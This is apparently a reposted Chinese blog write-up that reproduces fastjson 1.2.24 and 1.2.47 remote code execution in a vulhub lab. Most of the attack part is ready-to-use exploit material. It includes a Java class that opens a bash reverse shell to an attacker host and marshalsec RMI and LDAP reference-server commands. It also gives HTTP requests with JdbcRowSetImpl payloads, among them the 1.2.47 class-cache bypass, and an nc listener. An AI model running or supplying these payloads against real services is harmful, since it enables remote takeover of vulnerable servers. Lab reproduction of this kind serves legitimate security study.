fastjson 1.2.24/1.2.47 rce复现
2020-12-27 11:27
标签:文件 length ase date 项目启动 无法 利用 releases use 实验共用了两台 vps 第一台 vpsA 搭建 fastjson 环境 第二台 vpsB 配置 jdk 环境 (存在 java 版本限制: 配置 python 环境 整体逻辑是 新建 Exploit.java 文件 Exploit.java 拖到 vpsB 上编译为 Exploit.class 在 vpsB 上使用 python 快速搭建 http 服务,浏览器访问一下确认没有问题 然后借助 marshalsec 项目启动一个 rmi 服务,监听 9999 端口,并指定加载远程类 Exploit.class 这里直接使用编译好的 marshalsec-0.0.3-SNAPSHOT-all.jar,下载地址 https://github.com/RandomRobbieBF/marshalsec-jar marshalsec-0.0.3-SNAPSHOT-all.jar 拖到 vpsB 执行命令(这里只是为了尽量减少攻击机所以将 rmi 服务器和 java 恶意加载文件放在一台 vps 上,若将 Exploit.class 放在其他机器上,再使用如下命令加载远程类也是没有问题的) 在 vpsA 的实验环境使用 burp 抓包,将 GET 改为 POST,再添加 payload 如下 burp 发包后 rmi 服务接收到请求 vpsB 上执行 nc -lvp 2333 监听,反弹成功 fastjson 1.2.47 rce 漏洞利用时,只需将 payload 改为如下 基于 ldap 的利用方式复现漏洞,使用如下命令开启一个 ldap 服务,再将 payload 中的 rmi://vpsB:9999/Exploit 改为 ldap://vpsB:9999/Exploit 即可 最初想直接使用 buuoj 平台做靶场复现漏洞了,实验了很久也没有成功,最后发现失败原因是 buu 靶机无法访问外网呜呜呜呜呜 参考: https://www.jianshu.com/p/35b84eda9292 https://www.cnblogs.com/hack404/p/11980791.html https://www.jianshu.com/p/35b84eda9292 fastjson 1.2.24/1.2.47 rce复现 标签:文件 length ase date 项目启动 无法 利用 releases use 原文地址:https://www.cnblogs.com/wkzb/p/13874265.html一、环境搭建
apt-get install docker.io
apt-get install docker-compose
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up #docker-compose down 关闭环境
wget https://github.com/frekele/oracle-java/releases/download/8u121-b13/jdk-8u121-linux-x64.tar.gz
mkdir -p /opt/jdk && tar -zxvf jdk-8u121-linux-x64.tar.gz -C /opt/jdk/
update-alternatives --install /usr/bin/java java /opt/jdk/jdk1.8.0_121/bin/java 100
update-alternatives --install /usr/bin/javac javac /opt/jdk/jdk1.8.0_121/bin/javac 100
update-alternatives --install /usr/bin/keytool keytool /opt/jdk/jdk1.8.0_121/bin/keytool 100
update-alternatives --display java
update-alternatives --display javac
apt-get install python
二、1.2.24复现过程
//javac Exploit.java
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/vpsB ip/2333 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java
python -m SimpleHTTPServer 4444
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsB ip:4444/#Exploit" 9999
POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 164
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsB:9999/Exploit",
"autoCommit":true
}
}
三、1.2.47复现过程
POST / HTTP/1.1
Host: vpsA:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 266
Content-Type: application/json
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsB:9999/Exploit",
"autoCommit":true
}
}
四、总结
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vpsB:4444/#Exploit" 9999
文章标题:fastjson 1.2.24/1.2.47 rce复现
文章链接:http://soscw.com/essay/38571.html